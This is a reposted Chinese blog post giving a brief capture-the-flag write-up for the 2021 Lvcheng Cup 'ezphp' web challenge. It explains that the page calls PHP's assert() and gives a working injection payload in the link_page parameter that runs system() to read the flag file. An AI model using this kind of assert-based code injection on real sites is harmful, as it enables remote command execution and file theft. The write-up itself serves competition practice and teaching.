当前位置:首页 » 《随便一记》 » 正文

2021年“绿城杯”网络安全大赛-Web-[warmup]ezphp_夜白君的博客

7 人参与  2022年02月20日 10:01  分类 : 《随便一记》  评论

点击全文阅读


2021年“绿城杯”网络安全大赛-Web-[warmup]ezphp

题目名称:[warmup]ezphp
题目内容:很简单的一道PHP
题目分值:100.0
题目难度:容易
相关附件:[warmup]ezphp的附件13.txt

解题思路:

1.F12看见提示 flag

在这里插入图片描述

2.根据报错提示,知道flag文件的位置。 ./pages/flag.php,以及调用了assert的断言函数在这里插入图片描述

3.那么就可以任意命令执行了。

?link_page='.system("cat ./pages/flag.php").'

点击全文阅读


本文链接:http://zhangshiyu.com/post/35004.html

题目  附件  提示  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1